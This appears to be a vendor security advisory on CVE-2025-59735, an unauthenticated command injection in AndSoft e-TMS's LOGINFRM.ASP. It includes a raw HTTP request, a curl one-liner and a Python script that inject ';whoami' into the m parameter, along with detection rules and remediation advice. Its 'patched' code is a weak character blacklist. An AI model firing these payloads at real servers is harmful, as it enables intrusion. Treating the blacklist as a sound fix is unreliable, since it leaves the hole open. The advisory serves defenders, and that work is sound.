CVE-2025-59735

Executive Summary

CVE-2025-59735 is a critical operating system command injection vulnerability in AndSoft's e-TMS v25.03, specifically within the /clt/LOGINFRM.ASP endpoint. The vulnerability allows an unauthenticated attacker to execute arbitrary OS commands on the server by sending a crafted POST request with a malicious payload in the m parameter. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vendor has not released a patch, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom ASP application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the nature of the vulnerability (OS command injection, unauthenticated, remote), the actual severity is critical. A reasonable CVSS v3.1 vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8)

Threat Level: Critical

Deep Dive & Mechanics

The vulnerability resides in the LOGINFRM.ASP page of the e-TMS application. The m parameter is passed directly to a system command without proper sanitization or escaping. An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &&) to the parameter value.

Attack Vector:

1. The attacker sends a POST request to /clt/LOGINFRM.ASP.
2. The m parameter is set to a value like ; whoami.
3. The application concatenates this value into an OS command string.
4. The command is executed on the server, returning the output to the attacker.

Example Request:

POST /clt/LOGINFRM.ASP HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

m=;whoami

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual ASP):

<%
Dim cmd
cmd = "some_command " & Request.Form("m")
Set shell = CreateObject("WScript.Shell")
shell.Run cmd, 0, false
%>

Patched Code (Conceptual):

<%
Dim cmd, sanitized_m
sanitized_m = Replace(Request.Form("m"), ";", "")
sanitized_m = Replace(sanitized_m, "|", "")
sanitized_m = Replace(sanitized_m, "&", "")
cmd = "some_command " & sanitized_m
Set shell = CreateObject("WScript.Shell")
shell.Run cmd, 0, false
%>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable instance of AndSoft e-TMS v25.03 on a Windows Server (IIS).
2. Ensure the /clt/LOGINFRM.ASP endpoint is accessible.

Exploitation Steps:

1. Use curl or Burp Suite to send a POST request.
2. Inject commands using the m parameter.

Example Exploit (curl):

curl -X POST http://target.com/clt/LOGINFRM.ASP -d "m=;whoami"

Example Exploit (Python):

import requests

url = "http://target.com/clt/LOGINFRM.ASP"
payload = {"m": ";whoami"}
response = requests.post(url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for POST requests to /clt/LOGINFRM.ASP with unusual m parameter values.
• Look for shell metacharacters (;, |, &, `) in the m parameter.

Hunting:

• Search IIS logs for requests containing m= followed by shell metacharacters.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /clt/LOGINFRM.ASP with m parameter containing shell metacharacters.
  • Outbound connections from the server to attacker-controlled IPs.
• File System:
  • Unexpected files in C:\Windows\Temp or C:\inetpub\wwwroot.
  • New user accounts or scheduled tasks.
• Process:
  • cmd.exe or powershell.exe spawned by w3wp.exe (IIS worker process).

Detection Engineering

YARA Rule

rule CVE_2025_59735_Exploit_Attempt {
    meta:
        description = "Detects exploitation attempts of CVE-2025-59735 in IIS logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-59735"
    strings:
        $post_method = "POST"
        $asp_path = "/clt/LOGINFRM.ASP"
        $shell_meta1 = /m=[^&]*[;&|`]/
        $shell_meta2 = /m=[^&]*\$\(/
        $shell_meta3 = /m=[^&]*\|/
    condition:
        $post_method and $asp_path and ($shell_meta1 or $shell_meta2 or $shell_meta3)
}

Sigma Rule

title: CVE-2025-59735 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /clt/LOGINFRM.ASP with shell metacharacters in the m parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clt/LOGINFRM.ASP'
        cs-uri-query|contains: 'm='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in the m parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59735 - OS Command Injection in e-TMS LOGINFRM.ASP"; flow:to_server,established; content:"POST"; http_method; content:"/clt/LOGINFRM.ASP"; http_uri; content:"m="; http_client_body; pcre:"/m=[^&]*[;&|`]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the /clt/LOGINFRM.ASP endpoint if not required.
   • Implement a Web Application Firewall (WAF) rule to block requests with shell metacharacters in the m parameter.
   • Restrict network access to the e-TMS server.

2. Long-term Fix:

   • Apply input validation and sanitization to the m parameter.
   • Use parameterized commands or an API instead of shell execution.
   • Contact AndSoft for an official patch.

3. Monitoring:

   • Enable detailed IIS logging and monitor for exploitation attempts.
   • Deploy the YARA, Sigma, and Suricata rules provided above.

Valters IT
Securing Digital Frontiers